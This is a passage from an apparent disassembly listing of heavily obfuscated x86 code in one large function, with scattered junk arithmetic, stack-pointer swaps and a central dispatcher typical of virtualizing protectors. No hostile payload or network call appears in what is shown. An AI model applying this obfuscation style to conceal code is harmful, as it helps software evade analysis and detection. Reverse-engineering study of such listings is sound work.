loc_58EA7D:				; CODE XREF: sub_581EE9+C989j
		sub	esp, 4
		jmp	loc_588621
; ---------------------------------------------------------------------------


loc_58EA85:				; CODE XREF: sub_581EE9+D524j
		not	bl
		jmp	loc_58CED8
; ---------------------------------------------------------------------------


loc_58EA8C:				; CODE XREF: sub_581EE9+D290j
		push	50F87BC4h
		mov	ecx, [esp-6EE0h+arg_6ED6+2]
		add	esp, 4
		push	ebx
		mov	ebx, 2322009h
		and	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 1F613809h
		jmp	loc_58A0A6
; ---------------------------------------------------------------------------


loc_58EAAE:				; CODE XREF: sub_581EE9+A377j
		mov	esp, [esp-6ED6h+arg_6ECE]
		push	ebp
		push	2E5Bh
		mov	[esp-6ECEh+arg_6EC6], eax
		mov	eax, 6EB01CC0h
		inc	eax
		not	eax
		jmp	loc_58973A
; ---------------------------------------------------------------------------


loc_58EAC7:				; CODE XREF: sub_581EE9+8E08j
		mov	eax, esp
		jmp	loc_586570
; ---------------------------------------------------------------------------


loc_58EACE:				; CODE XREF: sub_581EE9+7E64j
		xor	edi, [esp-6EDEh+arg_6ED6]
		xor	[esp-6EDEh+arg_6ED6], edi
		jmp	loc_58A35D
; ---------------------------------------------------------------------------


loc_58EAD9:				; CODE XREF: sub_581EE9+83F5j
		push	4
		pop	edi
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		push	27F9h
		mov	[esp-6EC4h+arg_6EBA+2],	ebx
		mov	bh, 2Dh
		shl	bh, 1
		and	bh, 2
		jmp	loc_58C2D3
; ---------------------------------------------------------------------------


loc_58EAFA:				; CODE XREF: sub_581EE9+62A7j
		xor	ecx, 11A0019Eh
		and	eax, ecx
		pop	ecx
		xor	eax, 20540146h
		jmp	loc_58B468
; ---------------------------------------------------------------------------


loc_58EB0D:				; CODE XREF: sub_581EE9+3F60j
		mov	[esp-6ECCh+arg_6EC2+2],	edx
		jmp	loc_58F53B
; ---------------------------------------------------------------------------


loc_58EB15:				; CODE XREF: sub_581EE9+9A56j
		mov	ebx, esp
		push	eax
		mov	eax, 345B42BEh
		or	eax, 9EC5C8Eh
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		sub	eax, 50B4187Dh
		xor	eax, 61DD5B7Eh
		push	edi
		push	ebp
		mov	ebp, 51594436h
		mov	edi, 0AEA6BBCAh
		add	edi, ebp
		pop	ebp
		jmp	loc_58DA82
; ---------------------------------------------------------------------------


loc_58EB44:				; CODE XREF: sub_581EE9+7A4Bj
		pop	eax
		xor	ebp, 0ACA832E5h
		add	esi, ebp
		jmp	loc_58D99B
; ---------------------------------------------------------------------------


loc_58EB52:				; CODE XREF: sub_581EE9+4FE4j
		shr	edi, 7
		add	edi, 6EC95EE2h
		jmp	loc_588DCF
; ---------------------------------------------------------------------------


loc_58EB60:				; CODE XREF: sub_581EE9+8AE8j
		sub	esp, 4
		mov	[esp-6E9Ch+arg_6E92+2],	eax
		mov	eax, 313949D5h
		jmp	loc_58F04E
; ---------------------------------------------------------------------------


loc_58EB70:				; CODE XREF: sub_581EE9+D504j
		sub	edx, 4
		xchg	edx, [esp-6E9Ch+arg_6E92+2]
		mov	esp, [esp-6E9Ch+arg_6E92+2]
		mov	[esp-6E9Ch+arg_6E92+2],	esi
		push	eax
		jmp	loc_58FC3F
; ---------------------------------------------------------------------------


loc_58EB85:				; CODE XREF: sub_581EE9+9C07j
		pop	ebx
		add	ebx, ecx
		mov	ecx, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		xchg	ebx, [esp-6E92h+arg_6E8A]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_58BCC1
		push	7C06h
		jmp	loc_58B0B7
; ---------------------------------------------------------------------------


loc_58EBAD:				; CODE XREF: sub_581EE9+44DEj
		mov	ebp, 33CA173Eh
		add	esi, ebp
		pop	ebp
		dec	esi
		add	esi, 0CC34B803h
		add	ecx, esi
		pop	esi
		jmp	loc_587C99
; ---------------------------------------------------------------------------


loc_58EBC4:				; CODE XREF: sub_581EE9+A2C9j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58EBC9:				; CODE XREF: sub_581EE9+6057j
		mov	edi, esp
		jmp	loc_58BE0D
; ---------------------------------------------------------------------------


loc_58EBD0:				; CODE XREF: sub_581EE9+6B07j
		mov	ebp, edx
		pop	edx
		add	edx, 0B5E1A80h
		jmp	loc_58BF3E
; ---------------------------------------------------------------------------


loc_58EBDE:				; CODE XREF: sub_581EE9+7177j
		pop	bx
		jmp	loc_58F95F
; ---------------------------------------------------------------------------


loc_58EBE5:				; CODE XREF: sub_581EE9+EE30j
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		push	eax
		mov	eax, 33C35B19h
		inc	eax
		jmp	loc_585D08
; ---------------------------------------------------------------------------


loc_58EC01:				; CODE XREF: sub_581EE9+E591j
		sub	al, bl
		push	edx
		mov	dh, 82h
		sub	al, dh
		pop	edx
		mov	ebx, [esp-6EB0h+arg_6EA8]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EACh+arg_6EA4]
		mov	esp, [esp-6EACh+arg_6EA4]
		jmp	loc_591B5A
; ---------------------------------------------------------------------------


loc_58EC26:				; CODE XREF: sub_581EE9+892Cj
		push	[esp-6EC6h+arg_6EC2]
		jmp	loc_5874B7
; ---------------------------------------------------------------------------


loc_58EC2F:				; CODE XREF: sub_581EE9+EBFBj
		push	eax
		mov	al, dh
		jmp	loc_586A8C
; ---------------------------------------------------------------------------


loc_58EC37:				; CODE XREF: sub_581EE9+B1C8j
		push	[esp-6ECCh+arg_6EC2+2]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 70CA3E5Fh
		or	esi, edi
		pop	edi
		and	esi, 139E5574h
		push	ebx
		mov	ebx, 7BE91DDDh
		neg	ebx
		inc	ebx
		xor	ebx, 128261A5h
		sub	ebx, 5DAE3547h
		jmp	loc_589D58
; ---------------------------------------------------------------------------


loc_58EC6A:				; CODE XREF: sub_581EE9+68EAj
		shl	edi, 2
		push	ebx
		push	edx
		mov	edx, 5D9F6A3Dh
		xor	edx, 6B94761Eh
		jmp	loc_5892DE
; ---------------------------------------------------------------------------


loc_58EC7F:				; CODE XREF: sub_581EE9+4B40j
		or	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 3E6C288Ah
		or	edx, edi
		pop	edi
		push	esi
		jmp	loc_58D9B1
; ---------------------------------------------------------------------------


loc_58EC91:				; CODE XREF: sub_581EE9+85D0j
		push	esi
		mov	esi, 2B5E4EABh
		push	ebp
		mov	ebp, 90956B6h
		jmp	loc_5889F5
; ---------------------------------------------------------------------------


loc_58ECA2:				; DATA XREF: sub_581EE9+3C7Fo
		mov	cx, word ptr [esp-6E7Ch+arg_6E72+2]
		push	713Dh
		mov	[esp-6E78h+arg_6E6E+2],	edx
		mov	edx, esp
		jmp	loc_587F02
; ---------------------------------------------------------------------------


loc_58ECB5:				; CODE XREF: sub_581EE9+E6F1j
		push	ecx
		push	esi
		push	3D072580h
		pop	esi
		jmp	loc_585D83
; ---------------------------------------------------------------------------


loc_58ECC2:				; CODE XREF: sub_581EE9+BBC9j
		movzx	ax, byte ptr [eax]
		push	small 37Ch
		jmp	loc_5879EB
; ---------------------------------------------------------------------------


loc_58ECCF:				; CODE XREF: sub_581EE9+5E14j
		pop	edi
		and	ebp, 65C64BCDh
		xor	ebp, 2DAB125Ah
		add	ebp, 0D7D6EF32h
		sub	edi, 671025CDh
		add	edi, ebp
		add	edi, 671025CDh
		pop	ebp
		jmp	loc_58C752
; ---------------------------------------------------------------------------


loc_58ECF6:				; CODE XREF: sub_581EE9+3DE8j
		add	[esp-6ED6h+arg_6ED2], edi
		pop	edi
		push	[esp-6EDAh+arg_6ED2]
		jmp	loc_586C5D
; ---------------------------------------------------------------------------


loc_58ED03:				; CODE XREF: sub_581EE9+E088j
		mul	ecx
		push	118Ah
		mov	[esp-6ED2h+arg_6ECA], edx
		jmp	loc_58B89C
; ---------------------------------------------------------------------------


loc_58ED12:				; DATA XREF: sub_581EE9+3B13o
		push	dword ptr [edi+3Ch]
		push	ebx
		mov	ebx, 0F560696h
		jmp	loc_590EF8
; ---------------------------------------------------------------------------


loc_58ED20:				; CODE XREF: sub_581EE9+98E3j
		sub	bl, ch
		pop	cx
		sub	bl, 0E3h
		push	28D0h
		jmp	loc_59102E
; ---------------------------------------------------------------------------


loc_58ED31:				; CODE XREF: sub_581EE9+4E90j
		push	ebp
		mov	ebp, 150E2946h
		sub	ecx, ebp
		pop	ebp
		add	eax, ecx
		mov	ecx, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		push	ecx
		mov	ecx, 15CA439Bh
		sub	eax, ecx
		pop	ecx
		sub	eax, ebx
		add	eax, 15CA439Bh
		jmp	loc_5913B9
; ---------------------------------------------------------------------------


loc_58ED5A:				; CODE XREF: sub_581EE9+BAB9j
		mov	esp, [esp-6EBAh+arg_6EB2]
		jmp	loc_58A492
; ---------------------------------------------------------------------------


loc_58ED62:				; CODE XREF: sub_581EE9+D7B0j
		not	ecx
		jmp	loc_58D315
; ---------------------------------------------------------------------------


loc_58ED69:				; CODE XREF: sub_581EE9+B29Aj
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_589DC9
; ---------------------------------------------------------------------------


loc_58ED77:				; CODE XREF: sub_581EE9+7FE3j
		mov	edx, [esp-6EB4h+arg_6EAC]
		jmp	loc_58D8E1
; ---------------------------------------------------------------------------


loc_58ED7F:				; CODE XREF: sub_581EE9+DD2Aj
		xor	eax, 467127A9h
		jmp	loc_58FC8C
; ---------------------------------------------------------------------------


loc_58ED89:				; CODE XREF: sub_581EE9+E0CAj
		mov	cx, word ptr [esp-6EB4h+arg_6EAC]
		jmp	loc_5905A0
; ---------------------------------------------------------------------------


loc_58ED92:				; CODE XREF: sub_581EE9+EEAAj
		push	edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], edi
		push	[esp-6EB0h+arg_6EAC]
		pop	edi
		pop	[esp-6EB0h+arg_6EA8]
		jmp	loc_58EF47
; ---------------------------------------------------------------------------


loc_58EDB1:				; CODE XREF: sub_581EE9+FD1Cj
		add	eax, 39A35B8Ch
		push	dword ptr [eax]
		add	[esp-6EB0h+arg_6EA8], 546E5614h
		mov	ecx, [esp-6EB0h+arg_6EA8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_58DAA3
; ---------------------------------------------------------------------------


loc_58EDDB:				; CODE XREF: sub_581EE9+50A8j
		add	esp, 4
		push	ecx
		jmp	loc_58FE4E
; ---------------------------------------------------------------------------


loc_58EDE7:				; CODE XREF: sub_581EE9+DC52j
		xor	esi, [esp-6EFEh+arg_6EF6]
		mov	esp, [esp-6EFEh+arg_6EF6]
		push	ecx
		mov	ch, 5Fh
		jmp	loc_58DB4D
; ---------------------------------------------------------------------------


loc_58EDF5:				; CODE XREF: sub_581EE9+DDCDj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6EFAh+arg_6EF0+2]
		pop	esp
		mov	[esp-6EFEh+arg_6EF6], ecx
		jmp	loc_5884E3
; ---------------------------------------------------------------------------


loc_58EE0F:				; CODE XREF: sub_581EE9+B285j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6ECEh+arg_6EC6]
		mov	esp, [esp-6ECEh+arg_6EC6]
		push	[esp-6ECEh+arg_6EC6]
		mov	ecx, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		push	eax
		push	7EF6h
		mov	[esp-6EC6h+arg_6EBE], esp
		add	[esp-6EC6h+arg_6EBE], 4
		pop	eax
		jmp	loc_587325
; ---------------------------------------------------------------------------


loc_58EE3D:				; CODE XREF: sub_581EE9+69F5j
		mov	esi, 64844B00h
		inc	esi
		and	esi, 11581958h
		and	esi, 0A2C0BD0h
		not	esi
		add	esi, 4BB542ACh
		mov	ecx, esi
		pop	esi
		or	ecx, 294022Ch
		push	6FA8h
		mov	[esp-6EC0h+arg_6EB6+2],	ebp
		mov	ebp, 0F85BCDD3h
		jmp	loc_58715E
; ---------------------------------------------------------------------------


loc_58EE72:				; CODE XREF: sub_581EE9+3F8Cj
		pop	edi
		dec	ebp
		jmp	loc_58E877
; ---------------------------------------------------------------------------


loc_58EE79:				; CODE XREF: sub_581EE9+DA3Aj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6EDCh+arg_6ED2+2]
		pop	esp
		mov	[esp-6EE0h+arg_6ED6+2],	esi
		mov	esi, 3DAF1E0Fh
		sub	ebx, esi
		push	[esp-6EE0h+arg_6ED6+2]
		pop	esi
		add	esp, 4
		jmp	loc_58AE99
; ---------------------------------------------------------------------------


loc_58EEA1:				; CODE XREF: sub_581EE9+9B52j
		push	edi
		push	22D4F4Fh
		pop	edi
		or	eax, edi
		pop	edi
		sub	eax, 18274740h
		sub	ebx, eax
		pop	eax
		jmp	loc_5903CA
; ---------------------------------------------------------------------------


loc_58EEB8:				; CODE XREF: sub_581EE9+602Dj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-6EBCh+arg_6EB2+2],	edx
		push	1
		mov	edx, [esp+0]
		jmp	loc_58A3F2
; ---------------------------------------------------------------------------


loc_58EED7:				; CODE XREF: sub_581EE9+87BEj
		pop	esp
		mov	[esp-6EC6h+arg_6EBE], eax
		mov	eax, 45ED4CD8h
		and	edx, eax
		pop	eax
		neg	edx
		push	eax
		mov	eax, 50D35B78h
		or	eax, 5A1C350Fh
		sub	eax, 6B832264h
		xor	eax, 71C0E44h
		add	eax, 3C01F2Ch
		or	eax, 11414EFDh
		sub	eax, 0CF93635Bh
		or	edx, eax
		pop	eax
		not	edx
		sub	edx, 3EB44FD6h
		add	esi, edx
		jmp	loc_591626
; ---------------------------------------------------------------------------


loc_58EF1B:				; CODE XREF: sub_581EE9+C0B8j
		mov	edx, 0AF823ACh
		push	edx
		pop	edi
		pop	edx
		add	edi, 0FFFFFFFFh
		add	edi, 4AE236A3h
		add	edi, 740C72F2h
		jmp	loc_5860AE
; ---------------------------------------------------------------------------


loc_58EF37:				; CODE XREF: sub_581EE9+B7FAj
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		mov	eax, 4C6312B4h
		sub	ebx, eax
		pop	eax
		jmp	loc_58D7B0
; ---------------------------------------------------------------------------


loc_58EF47:				; CODE XREF: sub_581EE9+CEC3j
		mov	esp, [esp-6EB4h+arg_6EAC]
		or	byte ptr [esp-6EB4h+arg_6EAC], al
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58EF53:				; CODE XREF: sub_581EE9+F7C5j
		xchg	ebx, [esp-6EB0h+arg_6EA8]
		pop	esp
		add	ebx, edi
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp-6EB0h+arg_6EA8]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58D1C5
; ---------------------------------------------------------------------------


loc_58EF76:				; CODE XREF: sub_581EE9+6F2Dj
		or	ebp, 7B68117Bh
		xor	ebp, 7C173D2Fh
		mov	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 3EAF2574h
		add	ebp, 60552E60h
		sub	ebp, eax
		sub	ebp, 60552E60h
		pop	eax
		push	edx
		jmp	loc_590F7A
; ---------------------------------------------------------------------------


loc_58EFA0:				; CODE XREF: sub_581EE9+4049j
		push	4
		pop	edi
		add	ebx, 401662ADh
		add	ebx, edi
		push	ecx
		mov	ecx, 73E73B1h
		dec	ecx
		shl	ecx, 5
		inc	ecx
		dec	ecx
		or	ecx, 2BF96652h
		jmp	loc_5902E4
; ---------------------------------------------------------------------------


loc_58EFC5:				; CODE XREF: sub_581EE9+D983j
		inc	ebx
		sub	ebx, 5C4B1427h
		jmp	loc_58ACB5
; ---------------------------------------------------------------------------


loc_58EFD1:				; CODE XREF: sub_581EE9+D962j
		pop	edi
		jmp	loc_58D717
; ---------------------------------------------------------------------------


loc_58EFD7:				; CODE XREF: sub_581EE9+B21Bj
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], eax
		push	edi
		push	ebp
		push	790077CAh
		pop	ebp
		add	ebp, 175474E4h
		add	ebp, 0C6173546h
		push	ebx
		mov	ebx, ebp
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_58D25A
; ---------------------------------------------------------------------------


loc_58F010:				; CODE XREF: sub_581EE9+7E10j
		inc	ch
		jmp	loc_58F268
; ---------------------------------------------------------------------------


loc_58F017:				; CODE XREF: sub_581EE9+4041j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-6ECCh+arg_6EC2+2]
		pop	esp
		mov	[esp-6ED0h+arg_6EC6+2],	ebx
		push	3B13h
		mov	[esp-6ECCh+arg_6EC2+2],	esp
		add	[esp-6ECCh+arg_6EC2+2],	4
		pop	ebx
		jmp	loc_590595
; ---------------------------------------------------------------------------


loc_58F039:				; CODE XREF: sub_581EE9+C136j
		mov	[esp-6E88h+arg_6E80], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp-6E84h+arg_6E7C], ebx
		mov	ebx, 4
		jmp	loc_586F17
; ---------------------------------------------------------------------------


loc_58F04E:				; CODE XREF: sub_581EE9+CC82j
		and	eax, 79764080h
		add	eax, 0FFFFFFFFh
		push	edx
		push	eax
		jmp	loc_58E7AA
; ---------------------------------------------------------------------------


loc_58F05D:				; CODE XREF: sub_581EE9+5B57j
		push	[esp-6EC6h+arg_6EBE]
		jmp	loc_58B6E5
; ---------------------------------------------------------------------------


loc_58F065:				; CODE XREF: sub_581EE9+63CEj
		add	bl, al
		add	bl, 0D4h
		jmp	loc_58B497
; ---------------------------------------------------------------------------


loc_58F06F:				; CODE XREF: sub_581EE9+8C84j
		mov	ebp, 9FE7B04h
		or	ebp, 1FE05096h
		jmp	loc_58BFEB
; ---------------------------------------------------------------------------


loc_58F07F:				; CODE XREF: sub_581EE9+45ADj
		push	dword ptr [edi+eax*4]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F087:				; CODE XREF: sub_581EE9+4036j
		sub	[edi+24h], edx
		mov	edx, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4


loc_58F090:				; CODE XREF: sub_581EE9+FD35j
		push	ebx
		push	esi
		mov	esi, 3AF271C6h
		xor	[esp-6EC8h+arg_6EC2+2],	esi
		pop	esi
		jmp	loc_587D02
; ---------------------------------------------------------------------------


loc_58F0A1:				; CODE XREF: sub_581EE9+F684j
		mov	ebp, esp
		jmp	loc_586723
; ---------------------------------------------------------------------------


loc_58F0A8:				; CODE XREF: sub_581EE9+8BA4j
		mov	ecx, 26143551h
		xor	ebp, ecx
		mov	ecx, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_589915
; ---------------------------------------------------------------------------


loc_58F0B7:				; CODE XREF: sub_581EE9+BEA7j
		add	edx, 2
		sub	esp, 4
		mov	[esp-6ED4h+arg_6ECA+2],	edx
		jmp	loc_5866F3
; ---------------------------------------------------------------------------


loc_58F0C8:				; CODE XREF: sub_581EE9+60A0j
		dec	ebp
		jmp	loc_58960D
; ---------------------------------------------------------------------------


loc_58F0CE:				; CODE XREF: sub_581EE9+64CBj
		xor	ah, 0BEh
		mov	dh, ah
		pop	eax
		add	al, 2Dh
		sub	al, dh
		push	ebx
		push	eax
		mov	ah, 0DDh
		jmp	loc_58A2D0
; ---------------------------------------------------------------------------


loc_58F0E1:				; CODE XREF: sub_581EE9+8F8Ej
		inc	ebp
		add	ebp, 0C6C4DE9Ah
		add	edi, ebp
		jmp	loc_589509
; ---------------------------------------------------------------------------


loc_58F0EF:				; CODE XREF: sub_581EE9+8A34j
		push	dword ptr [eax]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F0F6:				; CODE XREF: sub_581EE9+F390j
		mov	edi, esp
		push	ebx
		jmp	loc_58E092
; ---------------------------------------------------------------------------


loc_58F0FE:				; CODE XREF: sub_581EE9+9DB4j
		push	ebx
		pop	edi
		push	[esp-6EE8h+arg_6EE0]
		pop	ebx
		add	esp, 4
		sub	edi, 1B185F5Fh
		sub	esp, 4
		mov	[esp-6EE8h+arg_6EE0], ecx
		jmp	loc_585DC7
; ---------------------------------------------------------------------------


loc_58F11E:				; CODE XREF: sub_581EE9+AA32j
		add	dl, 84h
		sub	bl, dl
		jmp	loc_586CB5
; ---------------------------------------------------------------------------


loc_58F128:				; CODE XREF: sub_581EE9+5269j
		mov	[esp-6EE0h+arg_6ED6+2],	edx
		mov	edx, 4
		add	ebp, 5C9E58CEh
		jmp	loc_58F58C
; ---------------------------------------------------------------------------


loc_58F13B:				; CODE XREF: sub_581EE9+AA03j
		pop	eax
		push	ebp
		mov	ebp, 719C7337h
		sub	eax, ebp
		pop	ebp
		pop	ebx
		push	dword ptr [edi+eax*4]
		sub	[esp-6EC4h+arg_6EBA+2],	0CB26063h
		jmp	loc_58A47E
; ---------------------------------------------------------------------------


loc_58F155:				; CODE XREF: sub_581EE9+8A8Cj
		pop	ebp
		push	7024h
		mov	[esp-6ECCh+arg_6EC2+2],	ecx
		mov	ecx, 6AB6570Bh
		xor	ecx, 41246239h
		add	eax, ecx
		mov	ecx, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		push	3469h
		mov	[esp-6ECCh+arg_6EC2+2],	ecx
		jmp	loc_58EA8C
; ---------------------------------------------------------------------------


loc_58F17E:				; CODE XREF: sub_581EE9+BAC3j
		shl	edx, 2
		push	ebx
		mov	ebx, 5F9E1506h
		xor	edx, ebx
		pop	ebx
		sub	edx, 4EB94B76h
		jmp	loc_58BEE7
; ---------------------------------------------------------------------------


loc_58F195:				; CODE XREF: sub_581EE9+56D1j
		mov	bl, ch
		jmp	loc_58E317
; ---------------------------------------------------------------------------


loc_58F19C:				; CODE XREF: sub_581EE9+C89Fj
		xor	edi, 4CBA4C2Dh
		sub	edi, 0DEE2FCC5h
		xor	eax, edi
		jmp	loc_58C3D3
; ---------------------------------------------------------------------------


loc_58F1AF:				; CODE XREF: sub_581EE9+4C85j
		sub	edi, 3E0D71FBh
		jmp	loc_58C822
; ---------------------------------------------------------------------------


loc_58F1BA:				; CODE XREF: sub_581EE9+60DBj
		xor	eax, [esp-6ED2h+arg_6ECA]
		xor	[esp-6ED2h+arg_6ECA], eax
		xor	eax, [esp-6ED2h+arg_6ECA]
		mov	esp, [esp-6ED2h+arg_6ECA]
		jmp	loc_5888A9
; ---------------------------------------------------------------------------


loc_58F1CB:				; CODE XREF: sub_581EE9+4B9Ej
		add	eax, 21051CB2h
		pop	edx
		sub	eax, 799F01F8h
		jmp	loc_58D897
; ---------------------------------------------------------------------------


loc_58F1DB:				; CODE XREF: sub_581EE9+C126j
		push	ebx
		push	edi
		mov	edi, 7D817D48h
		jmp	loc_590358
; ---------------------------------------------------------------------------


loc_58F1E7:				; CODE XREF: sub_581EE9+756Fj
		add	esp, 4
		jmp	loc_58BCC1
; ---------------------------------------------------------------------------


loc_58F1F2:				; CODE XREF: sub_581EE9+9831j
		add	dh, 36h
		add	dh, 0ABh
		xor	dh, 0B6h
		jmp	loc_586976
; ---------------------------------------------------------------------------


loc_58F200:				; CODE XREF: sub_581EE9+81FBj
		or	dh, ah
		jmp	loc_589AAB
; ---------------------------------------------------------------------------


loc_58F207:				; CODE XREF: sub_581EE9+901Bj
		add	esp, 4
		and	esi, 1B4A6CF4h
		add	esi, 1
		shr	esi, 5
		sub	esp, 4
		jmp	loc_58C265
; ---------------------------------------------------------------------------


loc_58F224:				; DATA XREF: sub_581EE9+3CE3o
		push	small word ptr [edx]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F22C:				; CODE XREF: sub_581EE9+ACB5j
		add	bl, 66h
		add	bl, cl
		jmp	loc_58A738
; ---------------------------------------------------------------------------


loc_58F236:				; DATA XREF: sub_581EE9+3BBFo
		pop	dword ptr [edi+40h]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F23E:				; CODE XREF: sub_581EE9+734Bj
		pop	ebp
		add	edx, 0C0488105h
		add	esi, edx
		pop	edx
		push	eax
		push	ecx
		push	ebp
		mov	ebp, 202C74C5h
		mov	ecx, 51267696h
		jmp	loc_58B585
; ---------------------------------------------------------------------------


loc_58F25A:				; CODE XREF: sub_581EE9+A68Aj
		push	small 18FCh
		mov	word ptr [esp-6EA2h+arg_6E9A], bx
		push	eax
		jmp	loc_58BAF5
; ---------------------------------------------------------------------------


loc_58F268:				; CODE XREF: sub_581EE9+D129j
		neg	ch
		xor	ch, 0FEh
		sub	al, ch
		jmp	loc_58A062
; ---------------------------------------------------------------------------


loc_58F274:				; CODE XREF: sub_581EE9+6D65j
		push	ecx
		mov	ecx, esp
		jmp	loc_58E148
; ---------------------------------------------------------------------------


loc_58F27C:				; CODE XREF: sub_581EE9+9780j
		add	eax, 33794F86h
		add	eax, ebp
		push	edx
		jmp	loc_58AAA1
; ---------------------------------------------------------------------------


loc_58F289:				; CODE XREF: sub_581EE9+9A7Aj
		xchg	ebp, [esp-6ED0h+arg_6EC6+2]
		mov	esp, [esp-6ED0h+arg_6EC6+2]
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_58C608
; ---------------------------------------------------------------------------


loc_58F299:				; CODE XREF: sub_581EE9+454Fj
		mov	[esp-6F02h+arg_6EFA], eax
		jmp	loc_587A61
; ---------------------------------------------------------------------------


loc_58F2A1:				; CODE XREF: sub_581EE9+7117j
		sub	[esp-6EEAh+arg_6EE0+2],	6EC7271Bh
		sub	[esp-6EEAh+arg_6EE0+2],	2C39270Dh
		pop	ebx
		push	eax
		mov	eax, 72668A7h
		xor	eax, 4589289Fh
		add	eax, 0BF65E9E9h
		jmp	loc_588470
; ---------------------------------------------------------------------------


loc_58F2C5:				; DATA XREF: sub_581EE9+3BF3o
		mov	ax, word ptr [esp-6EEAh+arg_6EE0+2]
		sub	esp, 4
		mov	[esp-6EE6h+arg_6EDC+2],	ecx
		jmp	loc_58BC29
; ---------------------------------------------------------------------------


loc_58F2D4:				; CODE XREF: sub_581EE9+F07Dj
		sub	eax, 44C35147h
		sub	eax, 56497460h
		jmp	loc_58C3F4
; ---------------------------------------------------------------------------


loc_58F2E3:				; CODE XREF: sub_581EE9+C010j
		xor	ecx, 0A854580Bh
		mov	esi, ecx
		pop	ecx
		jmp	loc_5890E9
; ---------------------------------------------------------------------------


loc_58F2F1:				; DATA XREF: sub_581EE9+3D23o
		push	[esp-6EC2h+arg_6EBA]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_5893B2
; ---------------------------------------------------------------------------


loc_58F2FD:				; CODE XREF: sub_581EE9+AAF6j
		shr	dh, 4
		push	ecx
		mov	cl, 59h
		add	dh, cl
		pop	ecx
		push	ecx
		mov	cl, dh
		mov	bl, cl
		mov	ecx, [esp-6EFEh+arg_6EF6]
		add	esp, 4
		pop	edx
		jmp	loc_58BA84
; ---------------------------------------------------------------------------


loc_58F31A:				; CODE XREF: sub_581EE9+B457j
		push	ebp
		mov	ebp, esp
		jmp	loc_58FC18
; ---------------------------------------------------------------------------


loc_58F322:				; CODE XREF: sub_581EE9+DFFCj
		add	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 4A5C78F9h
		shl	eax, 2
		add	eax, 0D68E1C20h
		jmp	loc_589FB5
; ---------------------------------------------------------------------------


loc_58F338:				; CODE XREF: sub_581EE9+AB54j
		add	esi, 4
		xchg	esi, [esp-6EBAh+arg_6EB2]
		jmp	loc_5873C0
; ---------------------------------------------------------------------------


loc_58F346:				; CODE XREF: sub_581EE9+9333j
		push	ecx
		mov	ecx, 5EF40D04h
		push	ebx
		mov	ebx, 1D400DDDh
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 67F331A5h
		push	ebx
		jmp	loc_58D810
; ---------------------------------------------------------------------------


loc_58F361:				; CODE XREF: sub_581EE9+7B3Fj
		or	edx, esi
		pop	esi
		jmp	loc_58CE08
; ---------------------------------------------------------------------------


loc_58F369:				; CODE XREF: sub_581EE9+60B8j
		pop	ebx
		pop	[esp-6ED4h+arg_6ECA+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		div	cx
		push	small 4FB9h
		mov	word ptr [esp-6ED6h+arg_6ECE], dx
		push	ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F383:				; CODE XREF: sub_581EE9+A39Ej
		mov	eax, [esp-6EF2h+arg_6EE8+2]
		jmp	loc_5908E7
; ---------------------------------------------------------------------------


loc_58F38B:				; CODE XREF: sub_581EE9+C53Aj
		sub	dl, 27h
		sub	dl, 34h
		sub	dl, cl
		add	dl, 34h
		add	dl, 27h
		pop	cx
		add	al, 43h
		sub	al, dl
		sub	al, 43h
		pop	edx
		sub	esp, 4
		mov	[esp-6E8Ch+arg_6E84], ebx
		push	eax
		jmp	loc_5863AE
; ---------------------------------------------------------------------------


loc_58F3AE:				; CODE XREF: sub_581EE9+6F50j
		mov	eax, [esp-6F0Ah+arg_6F02]
		add	esp, 4
		add	edx, 8FE3C54h
		xor	edi, edx
		pop	edx
		dec	edi
		sub	esp, 4
		mov	[esp-6F0Eh+arg_6F06], edi
